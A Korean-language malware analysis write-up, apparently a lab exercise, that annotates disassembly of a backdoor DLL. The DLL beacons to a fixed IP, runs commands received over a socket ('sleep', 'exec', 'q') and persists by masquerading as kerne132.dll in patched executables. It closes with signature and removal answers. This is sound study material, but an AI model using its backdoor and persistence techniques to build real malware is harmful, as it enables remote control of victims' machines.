1. mov ebp, ds:strncmp / mov ebx, ds:CreateProcessA : 각 함수의 주소를 레지스터에 저장한다. 추후 호출을 하기 위함이다.
----------------------------
2.
mov edi, offset buf ; "hello" : hello 문자를 edi에 저장한다.
or ecx, 0FFFFFFFFh
xor eax, eax
push 0 ; flags
repne scasb
not ecx
dec ecx
----------------------------
--> Hello문자열의 길이를 측정한다. + Lab07-03.exe 과 다르게 dec ecx 명령어를 통해 널문자길이를 제거한다.
3. push ecx; len / push offset buf; "hello" / push esi; s : send에 인자 값을 전달한다.
4. call ds:send : send 함수를 통해 hello 문자열을 전송한다.
Send 함수는 성공하면 반환 값은 송신된 바이트 수이다. 실패하면 SOCKET_ERROR = -1 을 반환한다. |
5. cmp eax, 0FFFFFFFFh : 실패 여부를 비교한다.
6. jz loc_100011DB : 실패했다면 점프한다.
실패하지 않았다면 다음줄을 실행한다.
Shutdown 함수를 호출하여 소켓을 종료한다. 실패했을 경우 분기한다.
Shutdown 함수의 첫번째 매개변수인 s는 소켓 핸들 값이다. 두번째 매개변수인 ‘how’는 종료방법을 나타낸다. 1의 값은 ‘전송종료’를 의미한다. 다른 값으로는 0 = 수신종료 / 2 = 송수신 모두 종료 가 있다 |
shutdown 후 다음 명령을 실행한다.
Recv 함수는 데이터 수신 함수이다.
1000h = 4096바이트를 최대로 수신하고, eax(=buf의 주소)에 수신한 데이터를 저장한다.
Esi는 소켓의 핸들이다.
위의 내용을 인자로 전달 후 recv 함수를 호출한다. 역시 실패했을 경우 반환 값은 -1 이다.
반환 값인 eax 가 0 보다 같거나 작을 경우 점프한다.
정상적으로 데이터를 수신했다면 반환 값은 0 이 아니므로 점프하지 않는다.
4.4. 수신 데이터 값에 따른 실행 차이 (sleep / exec)
lea ecx, [esp+1208h+buf] 수신 버퍼의 주소를 가져와 ecx에 저장한다. 그 후 첫 5바이트가 ‘sleep’ 라는 문자열과 일치 한지 비교하여 같다면 eax는 0이 되므로 점프하지 않고 다음 명령을 실행한다.
60000h(=393초) 만큼 sleep 한다. 그리고 나서 다시 send 부분으로 점프한다.
이 책의 해설에서는 60000h가 60초라고설명하고있다. 60000값이 10진수라면 맞는 답이지만 60000’h’표기는 16진수라는 뜻이다. 즉 변환하면 393,216밀리초인데, 어떻게 60초라는 값이 나오게 되었는지 모르겠다. 혹시 아는 분은 댓글을 부탁드립니다. |
수신된 문자열이 sleep가 아니라면 분기하여 첫 4바이트가 ’exec’문자열과 일치하는지 비교한다. 맞다 면 점프하지 않는다. ‘exec’는 프로그램이나 명령을 실행할 때 사용된다.
1. mov ecx, 11h : ecx에 11h(=17)값을 넣는다. 이 값은 StartupInfo 구조체의 크기이다.
2. lea edi, [esp+1208h+StartupInfo] : StartupInfo 주소를 edi에 저장한다.
3. rep stosd : edi 가 가리키는 메모리의 위치에 eax 값을 ecx 횟수만큼 반복적으로 저장한다. 현재 eax는 0 이므로 StartupInfo 구조체는 0으로 채워진다. 즉 이 구조체를 초기화하려는 것이다.
4. Lea,push 명령들 : createprocessA 함수 실행을 위한 인자 값을 넣는 과정이다.
5. ★lea edx, [esp+1224h+CommandLine] : 생성할 프로세스의 경로를 가리킨다.
문제는 이 CommandLine에 저장된 값이 무엇인지 찾을 수 없었다는 것이다. strings로 Lab07-03을 확인했을 때 파일경로를 나타내는 문자열은 보이지 않았다. 그러므로 이 경로문자열을 가져올 기회는 recv로 데이터를 수신할 때 밖에 없다고 생각했다. 다시 변수 선언부로 돌아가보자 Buf와 commandLine이 매우 근접해 있다. Buf를 더블 클릭해보자 Recv 함수 호출 때 최대로 읽어올 바이트 크기는 4096 이였다. 현재 주소는 –(마이너스)로 그림상 주소가 커질수록 아래로 내려온다. 즉 commandLine은 buf에 포함되어 있다는 의미이다. Commandline 과 buf가 5byte 차이나는 것, 앞에서 strcmp 함수로 수신 버퍼 문자열을 비교했던 것으로 보아 buf의 첫 5바이트 부분은 ‘sleep’, ‘exec’, ‘p’ 등의 문자열이 들어있을 것이며 이 이후부터 실제 실행해야 할 파일의 경로가 들어있을 것이라 추측한다. |
6. mov [esp+1230h+StartupInfo.cb], 44h ; 'D' : cb필드에 ‘68’ 을 저장한다. cb는 StartupInfo 구조체의 크기를 나타내는 필드이다.
7. call ebx ; CreateProcessA : 함수를 호출하여 프로세스를 생성한다.
8. jmp loc_100010E9 : send 부분으로 돌아간다.
문자열이 sleep, exec가 아닐 경우
‘q’문자열인지 비교한다.
아니라면 60000hms만큼 sleep했다 send 부분으로 점프해 hello전송 – 문자열 수신을 반복한다.
맞다 면 loc_100011D0으로 점프한다.
loc_100011D0
핸들을 닫고, 소켓을 종료하고, winsock 라이브러리가 사용한 리소스를 해제한다. 그리고 최종적으로 DLLMain이 종료된다.
4.5. Lab07-03.dll 정리
1. ‘SADFHUHF’ 뮤텍스를 열어 해당 뮤텍스가 있는지 확인하고, 없다면 이 이름으로 생성한다.
2. Winsock 라이브러리, 소켓을 초기화한다.
3. 127.26.152.13, 80port 로 접속한다.
4. "hello" 문자열을 전송한다.
5. 데이터를 수신하여 각각 ‘sleep’, ‘exec’, ‘q’ 문자열인지 확인한다.
6. ‘sleep’ 일 경우 393초동안 sleep한다.
7. ‘exec’일 경우 수신 버퍼에서 5바이트 이후 값을 Ipcommandline 값으로 삼아 프로세스를 실행한다.
8. ‘q’ 일 경우 리소스를 정리하고 DllMain을 종료한다.
5. 문제풀이
5.1. 이 프로그램은 컴퓨터가 재부팅 될 때 계속해서 실행되도록 영속성을 어떻게 유지하는지에 대한 메커니즘은 무엇인가요?
이 프로그램은 모든 Lab07-03.dll을 kerne132.dll로 위장해 두고 exe파일에 kerne132.dll(lab07-03.dll)을 import하도록 패치 하므로 모든 exe파일을 제거하거나 kerne132.dll을 알아채고 제거하지 않는 이상 영속성을 유지할 것이다.
5.2. 이 악성코드에 대한 두 가지 좋은 호스트 기반 시그니처는 무엇인가요?
Dll의 SADFHUHF (뮤텍스 이름) / exe의 kernel132.dll
5.3. 이 프로그램의 목적은 무엇인가요?
이 프로그램의 목적은 백도어를 생성하는 것이다. 거기에 더하여 모든 exe가 백도어의 기능을 하는 kerne132.dll 을 import 하도록 감염시켜 제거하기 대단히 어려워진다.
5.4. 이 악성코드를 설치한 후에는 어떻게 제거할 수 있을까요?
설치 이전의 복원 지점이 있다면 복원을 함으로써 제거할 수 있을 것이다.
또는 lab07-03 코드를 수정해 kerne132.dll을 다시 kernel32.dll로 올바르게 import 하도록 재 패치 할 수 있을 것이다.
(책의 추가적인 답 : 위장한 kernel32.dll의 이름을 kerne132.dl로 변경하여 악성dll을 올바른 파일로 덮어 씌운다.)